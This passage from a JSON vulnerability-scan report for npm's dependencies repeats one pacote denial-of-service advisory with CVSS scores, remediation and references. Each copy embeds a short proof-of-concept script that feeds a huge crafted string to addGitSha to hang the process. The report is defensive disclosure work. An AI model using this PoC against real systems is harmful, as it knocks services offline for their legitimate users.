"packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.26481", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-07T15:25:38.485101Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-07T15:25:38.485101Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial 